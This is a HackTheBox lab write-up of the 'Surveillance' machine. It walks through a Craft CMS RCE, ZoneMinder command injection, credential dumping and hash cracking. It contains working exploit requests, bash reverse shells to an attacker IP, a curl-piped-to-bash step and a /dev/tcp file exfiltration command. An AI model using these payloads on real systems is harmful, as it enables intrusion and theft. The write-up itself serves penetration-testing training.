Post

HackTheBox Writeup Surveillance

HackTheBox Writeup Surveillance

Surveillance is a medium-difficulty Linux machine that showcases a vulnerability ([CVE-2023-41892](https://nvd.nist.gov/vuln/detail/CVE-2023-41892)) in Craft CMS, which abuses PHP object injection to inject PHP content into the Craft CMS web log files to gain Remote Code Execution (RCE). The privilege escalation abuses ZoneMinder with an authenticated remote code injection in the HostController.php API endpoint to gain a shell as the zoneminder user. As this user, a sudo entry is abused by adding a configuration environment variable LD_PRELOAD via the admin panel and loading the malicious library file through zmdc.dl on the target, compromising the system.

Recon


1
2
3
4
5
6
7
┌──(bravosec㉿fsociety)-[~/htb/Surveillance]
└─$ pt init '10.129.56.156 surveillance.htb'
+--------------+--------+---------------+------------------+
|   PROFILE    | STATUS |      IP       |      DOMAIN      |
+--------------+--------+---------------+------------------+
| surveillance | on     | 10.129.56.156 | surveillance.htb |
+--------------+--------+---------------+------------------+

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Nmap 7.94SVN scan initiated Wed Dec 13 22:52:36 2023 as: nmap -sVC -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,80 Surveillance.htb
Nmap scan report for Surveillance.htb (10.129.56.156)
Host is up, received user-set (0.24s latency).
Scanned at 2023-12-13 22:52:36 CST for 20s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN+/g3FqMmVlkT3XCSMH/JtvGJDW3+PBxqJ+pURQey6GMjs7abbrEOCcVugczanWj1WNU5jsaYzlkCEZHlsHLvk=
|   256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIm6HJTYy2teiiP6uZoSCHhsWHN+z3SVL/21fy6cZWZi
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 0B7345BDDB34DAEE691A08BF633AE076
|_http-title:  Surveillance
| http-methods:
|_  Supported Methods: GET HEAD POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Wed Dec 13 22:52:56 2023 -- 1 IP address (1 host up) scanned in 20.03 seconds

80 - Site : Home Security

Info

Directory

There’s rate limit

1
feroxbuster -t 150 -o ferox_80.txt -k -u 'http://surveillance.htb' -w /usr/share/dirb/wordlists/common.txt -n
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
200      GET        9l       26w      304c http://surveillance.htb/.htaccess
200      GET       46l       97w     1008c http://surveillance.htb/js/custom.js
200      GET      108l      201w     1870c http://surveillance.htb/css/responsive.css
200      GET       56l      237w    22629c http://surveillance.htb/images/w3.png
200      GET      109l      602w    50641c http://surveillance.htb/images/s1.png
200      GET      913l     1800w    17439c http://surveillance.htb/css/style.css
200      GET       42l      310w    32876c http://surveillance.htb/images/home.png
200      GET      195l      842w    69222c http://surveillance.htb/images/w1.png
200      GET      105l      782w    62695c http://surveillance.htb/images/w2.png
200      GET       42l      310w    32876c http://surveillance.htb/images/favicon.png
200      GET      114l      552w    42779c http://surveillance.htb/images/s2.png
200      GET        4l       66w    31000c http://surveillance.htb/css/font-awesome.min.css
200      GET       42l      243w    24617c http://surveillance.htb/images/s3.png
200      GET      148l      770w    71008c http://surveillance.htb/images/c2.jpg
200      GET      238l     1140w    90858c http://surveillance.htb/images/c1.jpg
200      GET       89l      964w    72118c http://surveillance.htb/images/hero-bg.png
200      GET        2l     1276w    88145c http://surveillance.htb/js/jquery-3.4.1.min.js
200      GET      783l     4077w   330169c http://surveillance.htb/images/about-img.png
200      GET    10038l    19587w   192348c http://surveillance.htb/css/bootstrap.css
200      GET     4436l    10973w   136569c http://surveillance.htb/js/bootstrap.js
200      GET      764l     3911w   284781c http://surveillance.htb/images/why-bg.jpg
200      GET     1518l     8174w   619758c http://surveillance.htb/images/slider-img.png
200      GET      475l     1185w    16230c http://surveillance.htb/
302      GET        0l        0w        0c http://surveillance.htb/admin => http://surveillance.htb/admin/login
301      GET        7l       12w      178c http://surveillance.htb/css => http://surveillance.htb/css/
301      GET        7l       12w      178c http://surveillance.htb/fonts => http://surveillance.htb/fonts/
301      GET        7l       12w      178c http://surveillance.htb/images => http://surveillance.htb/images/
301      GET        7l       12w      178c http://surveillance.htb/img => http://surveillance.htb/img/
200      GET        1l        0w        1c http://surveillance.htb/index
200      GET      475l     1185w    16230c http://surveillance.htb/index.php
301      GET        7l       12w      178c http://surveillance.htb/js => http://surveillance.htb/js/
302      GET        0l        0w        0c http://surveillance.htb/logout => http://surveillance.htb/
200      GET       27l       63w     1202c http://surveillance.htb/web.config

User Flag


Enumeration

80

At the bottom, it revealed Craft CMS with the version 4.4.14

Shell as www-data

Craft CMS 4.4.14 Unauthenticated RCE (CVE-2023-41892)

Validate exploit

Google : craft cms 4.4.14 exploit

https://security.snyk.io/vuln/SNYK-PHP-CRAFTCMSCMS-5901521

By viewing the pull request for nuclei templates, we use the payload to check whether target is vulnerable

https://github.com/projectdiscovery/nuclei-templates/pull/8215/files

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: surveillance.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 238
Content-Type: application/x-www-form-urlencoded

action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream",    "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}

Get reverse shell

Google : CVE-2023-41892 poc

https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226

Since the poc uses burp suite as proxy, make sure to have burpsuite running, or just remove the code for proxy

Create the webshell

1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb/Surveillance/exploit]
└─$ python CVE-2023-41892.py http://surveillance.htb
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Get interactive shell

The machine has firewall enabled, needs port 443 or 80 for reverse shell

1
$ /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.30/443 0>&1"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(bravosec㉿fsociety)-[~/htb/Surveillance/exploit]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.30] from (UNKNOWN) [10.129.57.44] 39026
bash: cannot set terminal process group (1012): Inappropriate ioctl for device
bash: no job control in this shell
www-data@surveillance:~/html/craft/web/cpresources$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<es$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@surveillance:~/html/craft/web/cpresources$ ^Z
zsh: suspended  nc -lvnp 443

┌──(bravosec㉿fsociety)-[~/htb/Surveillance/exploit]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 443

www-data@surveillance:~/html/craft/web/cpresources$ export TERM=xterm

From www-data to zoneminder

Enumeration

Check users

1
2
3
4
www-data@surveillance:~/html/craft/web/cpresources$ cat /etc/passwd|grep sh$
root:x:0:0:root:/root:/bin/bash
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash

There’s .env file in web root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
www-data@surveillance:~/html/craft$ ls -latr
total 320
-rwxr-xr-x  1 www-data www-data    309 May 23  2023 craft
-rw-r--r--  1 www-data www-data    529 May 23  2023 bootstrap.php
-rw-r--r--  1 www-data www-data     31 May 23  2023 .gitignore
-rw-r--r--  1 www-data www-data    684 May 23  2023 .env.example.staging
-rw-r--r--  1 www-data www-data    688 May 23  2023 .env.example.production
-rw-r--r--  1 www-data www-data    678 May 23  2023 .env.example.dev
drwxr-xr-x 42 www-data www-data   4096 Jun 13  2023 vendor
-rw-r--r--  1 www-data www-data    622 Jun 13  2023 composer.json
-rw-r--r--  1 www-data www-data 261350 Jun 13  2023 composer.lock
drwxr-xr-x  4 www-data www-data   4096 Oct 11 17:57 config
drwxr-xr-x  6 www-data www-data   4096 Oct 11 20:12 storage
drwxr-xr-x  3 www-data www-data   4096 Oct 17 15:24 templates
drwxr-xr-x  3 root     root       4096 Oct 21 17:54 ..
drwxrwxr-x  2 www-data www-data   4096 Oct 21 18:26 migrations
-rw-r--r--  1 www-data www-data    836 Oct 21 18:32 .env
drwxr-xr-x  8 www-data www-data   4096 Oct 21 18:32 .
drwxr-xr-x  8 www-data www-data   4096 Dec 16 11:50 web

www-data@surveillance:~/html/craft$ cat .env

# Read about configuration, here:

# https://craftcms.com/docs/4.x/config/


# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--070c5b0b-ee27-4e50-acdf-0436a93ca4c7


# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=production


# The secure key Craft will use for hashing and encrypting data
CRAFT_SECURITY_KEY=2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_


# Database connection settings
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craftdb
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftCMSPassword2023!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=


# General settings (see config/general.php)
DEV_MODE=false
ALLOW_ADMIN_CHANGES=false
DISALLOW_ROBOTS=false

PRIMARY_SITE_URL=http://surveillance.htb/

Failed to crack admin hash from mysql database

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
Welcome to the MariaDB monitor.  Commands end with ; or \g.raftCMSPassword2023!'
Your MariaDB connection id is 37164
Server version: 10.6.12-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| craftdb            |
| information_schema |
+--------------------+
2 rows in set (0.003 sec)

MariaDB [(none)]> use craftdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [craftdb]> show tables;
+----------------------------+
| Tables_in_craftdb          |
+----------------------------+
| addresses                  |
| announcements              |
| assetindexdata             |
| assetindexingsessions      |
| assets                     |
| categories                 |
| categorygroups             |
| categorygroups_sites       |
| changedattributes          |
| changedfields              |
| content                    |
| craftidtokens              |
| deprecationerrors          |
| drafts                     |
| elements                   |
| elements_sites             |
| entries                    |
| entrytypes                 |
| fieldgroups                |
| fieldlayoutfields          |
| fieldlayouts               |
| fieldlayouttabs            |
| fields                     |
| globalsets                 |
| gqlschemas                 |
| gqltokens                  |
| imagetransformindex        |
| imagetransforms            |
| info                       |
| matrixblocks               |
| matrixblocks_owners        |
| matrixblocktypes           |
| migrations                 |
| plugins                    |
| projectconfig              |
| queue                      |
| relations                  |
| resourcepaths              |
| revisions                  |
| searchindex                |
| sections                   |
| sections_sites             |
| sequences                  |
| sessions                   |
| shunnedmessages            |
| sitegroups                 |
| sites                      |
| structureelements          |
| structures                 |
| systemmessages             |
| taggroups                  |
| tags                       |
| tokens                     |
| usergroups                 |
| usergroups_users           |
| userpermissions            |
| userpermissions_usergroups |
| userpermissions_users      |
| userpreferences            |
| users                      |
| volumefolders              |
| volumes                    |
| widgets                    |
+----------------------------+
63 rows in set (0.001 sec)

MariaDB [craftdb]> describe users;
+----------------------------+---------------------+------+-----+---------+-------+
| Field                      | Type                | Null | Key | Default | Extra |
+----------------------------+---------------------+------+-----+---------+-------+
| id                         | int(11)             | NO   | PRI | NULL    |       |
| photoId                    | int(11)             | YES  | MUL | NULL    |       |
| active                     | tinyint(1)          | NO   | MUL | 0       |       |
| pending                    | tinyint(1)          | NO   | MUL | 0       |       |
| locked                     | tinyint(1)          | NO   | MUL | 0       |       |
| suspended                  | tinyint(1)          | NO   | MUL | 0       |       |
| admin                      | tinyint(1)          | NO   |     | 0       |       |
| username                   | varchar(255)        | YES  | MUL | NULL    |       |
| fullName                   | varchar(255)        | YES  |     | NULL    |       |
| firstName                  | varchar(255)        | YES  |     | NULL    |       |
| lastName                   | varchar(255)        | YES  |     | NULL    |       |
| email                      | varchar(255)        | YES  | MUL | NULL    |       |
| password                   | varchar(255)        | YES  |     | NULL    |       |
| lastLoginDate              | datetime            | YES  |     | NULL    |       |
| lastLoginAttemptIp         | varchar(45)         | YES  |     | NULL    |       |
| invalidLoginWindowStart    | datetime            | YES  |     | NULL    |       |
| invalidLoginCount          | tinyint(3) unsigned | YES  |     | NULL    |       |
| lastInvalidLoginDate       | datetime            | YES  |     | NULL    |       |
| lockoutDate                | datetime            | YES  |     | NULL    |       |
| hasDashboard               | tinyint(1)          | NO   |     | 0       |       |
| verificationCode           | varchar(255)        | YES  | MUL | NULL    |       |
| verificationCodeIssuedDate | datetime            | YES  |     | NULL    |       |
| unverifiedEmail            | varchar(255)        | YES  |     | NULL    |       |
| passwordResetRequired      | tinyint(1)          | NO   |     | 0       |       |
| lastPasswordChangeDate     | datetime            | YES  |     | NULL    |       |
| dateCreated                | datetime            | NO   |     | NULL    |       |
| dateUpdated                | datetime            | NO   |     | NULL    |       |
+----------------------------+---------------------+------+-----+---------+-------+
27 rows in set (0.001 sec)

MariaDB [craftdb]> select id,active,suspended,admin,username,email,password from users;
+----+--------+-----------+-------+----------+------------------------+--------------------------------------------------------------+
| id | active | suspended | admin | username | email                  | password                                                     |
+----+--------+-----------+-------+----------+------------------------+--------------------------------------------------------------+
|  1 |      1 |         0 |     1 | admin    | admin@surveillance.htb | $2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe |
+----+--------+-----------+-------+----------+------------------------+--------------------------------------------------------------+

The brypt hash wasn’t cracked in 5 min, so I guess it’s very likely a rabbit hole

1
hashcat mysql_craftdb_users.hash /opt/wordlists/rockyou.txt -m 3200

Failed to crack admin hash from zoneminder database

Zoneminder is running on port 8080 at localhost

1
2
3
4
5
6
7
8
www-data@surveillance:~$ ss -ltnp
State              Recv-Q             Send-Q                         Local Address:Port                         Peer Address:Port            Process
LISTEN             0                  511                                127.0.0.1:8080                              0.0.0.0:*                users:(("nginx",pid=1027,fd=9),("nginx",pid=1026,fd=9))
LISTEN             0                  511                                  0.0.0.0:80                                0.0.0.0:*                users:(("nginx",pid=1027,fd=8),("nginx",pid=1026,fd=8))
LISTEN             0                  4096                           127.0.0.53%lo:53                                0.0.0.0:*
LISTEN             0                  128                                  0.0.0.0:22                                0.0.0.0:*
LISTEN             0                  80                                 127.0.0.1:3306                              0.0.0.0:*
LISTEN             0                  128                                     [::]:22                                   [::]:*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
www-data@surveillance:~$ cat /etc/nginx/sites-enabled/zoneminder.conf
server {
    listen 127.0.0.1:8080;

    root /usr/share/zoneminder/www;

    index index.php;

    access_log /var/log/zm/access.log;
    error_log /var/log/zm/error.log;

    location / {
        try_files $uri $uri/ /index.php?$args =404;

        location ~ /api/(css|img|ico) {
            rewrite ^/api(.+)$ /api/app/webroot/$1 break;
            try_files $uri $uri/ =404;
        }

        location /api {
            rewrite ^/api(.+)$ /api/app/webroot/index.php?p=$1 last;
        }

        location /cgi-bin {
            include fastcgi_params;

            fastcgi_param SCRIPT_FILENAME $request_filename;
            fastcgi_param HTTP_PROXY "";

            fastcgi_pass unix:/run/fcgiwrap.sock;
        }

        location ~ \.php$ {
            include fastcgi_params;

            fastcgi_param SCRIPT_FILENAME $request_filename;
            fastcgi_param HTTP_PROXY "";

            fastcgi_index index.php;

            fastcgi_pass unix:/var/run/php/php8.1-fpm-zoneminder.sock;
        }
    }
}

Found its database file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@surveillance:/usr/share/zoneminder/www$ ls -latr
total 68
-rw-r--r--  1 root     zoneminder   29 Nov 18  2022 robots.txt
-rw-r--r--  1 root     zoneminder 9294 Nov 18  2022 index.php
drwxr-xr-x  4 www-data www-data   4096 Oct 17 10:53 ..
drwxr-xr-x  3 root     zoneminder 4096 Oct 17 10:53 skins
drwxr-xr-x  3 root     zoneminder 4096 Oct 17 10:57 ajax
drwxr-xr-x  4 root     zoneminder 4096 Oct 17 10:57 api
drwxr-xr-x  2 root     zoneminder 4096 Oct 17 10:57 css
drwxr-xr-x  2 root     zoneminder 4096 Oct 17 10:57 lang
drwxr-xr-x  2 root     zoneminder 4096 Oct 17 10:57 js
drwxr-xr-x  2 root     zoneminder 4096 Oct 17 10:57 graphics
drwxr-xr-x 13 root     zoneminder 4096 Oct 17 10:57 .
drwxr-xr-x  2 root     zoneminder 4096 Oct 17 10:57 views
drwxr-xr-x  5 root     zoneminder 4096 Oct 17 10:57 vendor
drwxr-xr-x  2 root     zoneminder 4096 Oct 17 10:57 fonts
drwxr-xr-x  4 root     zoneminder 4096 Oct 17 12:59 includes
www-data@surveillance:/usr/share/zoneminder/www$ cd ..
www-data@surveillance:/usr/share/zoneminder$ ls -latr
total 48
drwxr-xr-x   4 www-data www-data    4096 Oct 17 10:53 .
drwxr-xr-x   2 root     zoneminder 36864 Oct 17 10:57 db
drwxr-xr-x  13 root     zoneminder  4096 Oct 17 10:57 www
drwxr-xr-x 151 root     root        4096 Nov  9 13:05 ..
www-data@surveillance:/usr/share/zoneminder$ cd db
www-data@surveillance:/usr/share/zoneminder/db$ ls -latr
total 1132
[...]
-rw-r--r-- 1 root     zoneminder    657 Nov 18  2022 zm_update-0.9.10.sql
-rw-r--r-- 1 root     zoneminder   3236 Nov 18  2022 zm_update-0.0.1.sql
-rw-r--r-- 1 root     zoneminder  10526 Nov 18  2022 triggers.sql
-rw-r--r-- 1 root     zoneminder   2655 Nov 23  2022 zm_update-1.35.24.sql
-rw-r--r-- 1 root     zoneminder    764 Nov 23  2022 zm_update-1.31.30.sql
-rw-r--r-- 1 root     zoneminder 234180 Nov 23  2022 zm_create.sql
drwxr-xr-x 4 www-data www-data     4096 Oct 17 10:53 ..
drwxr-xr-x 2 root     zoneminder  36864 Oct 17 10:57 .

Search for passwords

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@surveillance:/usr/share/zoneminder/db$ grep -rin admin
zm_update-1.24.2.sql:11:INSERT INTO `MonitorPresets` VALUES ('','ACTi TCM FFMPEG','Ffmpeg',NULL,NULL,NULL,NULL,NULL,'rtsp://admin:123456@<host/address>:7070',NULL,NULL,NULL,320,240,NULL,NULL,0,NULL,NULL,NULL,100,100);
zm_create.sql:794:-- Create a default admin user.
zm_create.sql:815:    'admin',
zm_create.sql:878:    1/*UserId = admin*/,
zm_create.sql:922:  1/*UserId=admin*/,
zm_create.sql:1020:INSERT INTO MonitorPresets VALUES (NULL,'Blue Net Video Server, jpeg','Remote','http',0,0,'http','simple','<ip-address>',80,'/cgi-bin/image.cgi?control=0&id=admin&passwd=admin',NULL,320,240,3,NULL,0,NULL,NULL,NULL,100,100);
zm_create.sql:1025:INSERT INTO MonitorPresets VALUES (NULL,'ACTi TCM FFMPEG','Ffmpeg',NULL,NULL,NULL,NULL,NULL,'rtsp://admin:123456@<host/address>:7070',NULL,NULL,NULL,320,240,NULL,NULL,0,NULL,NULL,NULL,100,100);
zm_create.sql:1043:INSERT INTO MonitorPresets VALUES (NULL,'Foscam FI8620 FFMPEG H.264','Ffmpeg',NULL,NULL,NULL,NULL,'','','','rtsp://<username>:<pwd>@<ip-address>:554/11',NULL,704,576,0,NULL,1,'10','<admin_pwd>','<ip-address>',100,100);
zm_create.sql:1044:INSERT INTO MonitorPresets VALUES (NULL,'Foscam FI8608W FFMPEG H.264','Ffmpeg',NULL,NULL,NULL,NULL,'','','','rtsp://<username>:<pwd>@<ip-address>:554/11',NULL,640,480,0,NULL,1,'11','<admin_pwd>','<ip-address>',100,100);
zm_create.sql:1045:INSERT INTO MonitorPresets VALUES (NULL,'Foscam FI9821W FFMPEG H.264','Ffmpeg',NULL,NULL,NULL,NULL,'','','','rtsp://<username>:<pwd>@<ip-address>:88/videoMain',NULL,1280,720,0,NULL,1,'12','<admin_pwd>','<ip-address>',100,100);
zm_create.sql:1296:INSERT INTO Config SET Id = 26, Name = 'ZM_SYSTEM_SHUTDOWN', Value = '0', Type = 'boolean', DefaultValue = 'no', Hint = 'yes|no', Pattern = '(?^i:^([yn]))', Format = ' ($1 =~ /^y/) ? \'yes\' : \'no\' ', Prompt = 'Allow Admin users to power off or restart the system from the ZoneMinder UI.', Help = 'The system will need to have sudo installed and the following added to /etc/sudoers~~
zm_create.sql:1918:      Allows the administrator to place an arbitrary text message
zm_update-0.9.12.sql:18:insert into Users values ('','admin',password('admin'),1,'View','Edit','Edit','Edit',NULL);
1
www-data@surveillance:/usr/share/zoneminder/db$ less zm_create.sql

The bcrypt hash wasn’t crackable

1
hashcat loot/mysql_zoneminder_users.hash -m 3200

ZoneMinder Snapshots Command Injection (CVE-2023-26035)

Get the version of zoneminder

1
2
www-data@surveillance:/usr/share/zoneminder/www$ dpkg -s zoneminder | grep Version
Version: 1.36.32+dfsg1-1

Google : zoneminder 1.36.32 exploit

https://attackerkb.com/topics/9s4YXM2Y4i/cve-2023-26035/vuln-details

Get poc

https://github.com/heapbytes/CVE-2023-26035

Forward 127.0.0.1:8080 to 0.0.0.0:8081 on target, since exploit needs to be run on attacker host

1
www-data@surveillance:/usr/share/zoneminder/www$ socat tcp-listen:8081,fork,reuseaddr tcp:127.0.0.1:8080

Run the exploit

1
2
git clone https://github.com/heapbytes/CVE-2023-26035
cd CVE-2023-26035
1
2
3
4
5
6
┌──(bravosec㉿fsociety)-[~/htb/Surveillance/exploit/CVE-2023-26035]
└─$ python poc.py --target http://surveillance.htb:8081/ --cmd '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.30/443 0>&1"'
Fetching CSRF Token
Got Token: key:7b1583da4a0d13c1ed28822a2045a009a07a23fd,1702738984
[>] Sending payload..
[!] Script executed by out of time limit (if u used revshell, this will exit the script)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(bravosec㉿fsociety)-[/tmp/CVE-2023-26035]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.30] from (UNKNOWN) [10.129.57.44] 41720
bash: cannot set terminal process group (1012): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ww$ python3 -c 'import pty; pty.spawn("/bin/bash")'
zoneminder@surveillance:/usr/share/zoneminder/www$ ^Z
zsh: suspended  nc -lvnp 443

┌──(bravosec㉿fsociety)-[/tmp/CVE-2023-26035]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 443

zoneminder@surveillance:/usr/share/zoneminder/www$
zoneminder@surveillance:/usr/share/zoneminder/www$ export TERM=xterm
zoneminder@surveillance:/usr/share/zoneminder/www$ id
uid=1001(zoneminder) gid=1001(zoneminder) groups=1001(zoneminder)

From zoneminder to matthew

Enumeration

1
2
3
4
5
6
7
8
9
zoneminder@surveillance:/usr/share/zoneminder/www$ cd ~
zoneminder@surveillance:~$ ls -latr
total 20
drwxr-xr-x 4 root       root       4096 Oct 17 11:20 ..
-rw-r--r-- 1 zoneminder zoneminder  220 Oct 17 11:20 .bash_logout
-rw-r--r-- 1 zoneminder zoneminder  807 Oct 17 11:20 .profile
-rw-r--r-- 1 zoneminder zoneminder 3771 Oct 17 11:20 .bashrc
lrwxrwxrwx 1 root       root          9 Nov  9 12:46 .bash_history -> /dev/null
drwxr-x--- 2 zoneminder zoneminder 4096 Nov  9 12:46 .
1
2
3
4
5
6
7
8
zoneminder@surveillance:~$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *

There’s a bunch of scripts that’s able to run as root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
zoneminder@surveillance:~$ ls -latr /usr/bin/zm[a-zA-Z]*.pl
-rwxr-xr-x 1 root root 19655 Nov 23  2022 /usr/bin/zmx10.pl
-rwxr-xr-x 1 root root  7022 Nov 23  2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root  8205 Nov 23  2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root 45421 Nov 23  2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root 18482 Nov 23  2022 /usr/bin/zmtrigger.pl
-rwxr-xr-x 1 root root  5340 Nov 23  2022 /usr/bin/zmtrack.pl
-rwxr-xr-x 1 root root 13111 Nov 23  2022 /usr/bin/zmtelemetry.pl
-rwxr-xr-x 1 root root  2133 Nov 23  2022 /usr/bin/zmsystemctl.pl
-rwxr-xr-x 1 root root  4815 Nov 23  2022 /usr/bin/zmstats.pl
-rwxr-xr-x 1 root root 17492 Nov 23  2022 /usr/bin/zmrecover.pl
-rwxr-xr-x 1 root root 13994 Nov 23  2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root 19386 Nov 23  2022 /usr/bin/zmonvif-trigger.pl
-rwxr-xr-x 1 root root  5640 Nov 23  2022 /usr/bin/zmonvif-probe.pl
-rwxr-xr-x 1 root root 35206 Nov 23  2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root 26232 Nov 23  2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root  6043 Nov 23  2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root 12939 Nov 23  2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root 43027 Nov 23  2022 /usr/bin/zmaudit.pl

Matthew’s hash in Craft CMS backup file

Run linpeas

1
zoneminder@surveillance:~$ curl 10.10.16.30/linpeas.sh|bash

That backup file looks interesting

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Surveillance]
└─$ nc -lvnp 443 > loot/surveillance--2023-10-17-202801--v4.4.14.sql.zip
listening on [any] 443 ...
1
zoneminder@surveillance:~$ cat /var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip > /dev/tcp/10.10.16.30/443
1
2
3
4
5
6
7
8
9
10
11
12
┌──(bravosec㉿fsociety)-[~/htb/Surveillance/loot]
└─$ 7z l surveillance--2023-10-17-202801--v4.4.14.sql.zip
[...]

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2023-10-18 04:33:08 .....       113365        19680  surveillance--2023-10-17-202801--v4.4.14.sql
------------------- ----- ------------ ------------  ------------------------
2023-10-18 04:33:08             113365        19680  1 files

┌──(bravosec㉿fsociety)-[~/htb/Surveillance/loot]
└─$ 7z x surveillance--2023-10-17-202801--v4.4.14.sql.zip
1
2
┌──(bravosec㉿fsociety)-[~/htb/Surveillance/loot]
└─$ cat surveillance--2023-10-17-202801--v4.4.14.sql | grep -i pass -E15

1
2
┌──(bravosec㉿fsociety)-[~/htb/Surveillance/loot]
└─$ vi surveillance--2023-10-17-202801--v4.4.14.sql

Admin’s name is Matthew, the only normal user on the machine!

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Surveillance/loot]
└─$ cat surveillance--2023-10-17-202801--v4.4.14.sql | grep -i 'INSERT INTO `users`'
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');

Crack Matthew’s hash

1
hashcat mysql_matthew.hash /opt/wordlists/rockyou.txt -m 1400
1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Surveillance/loot]
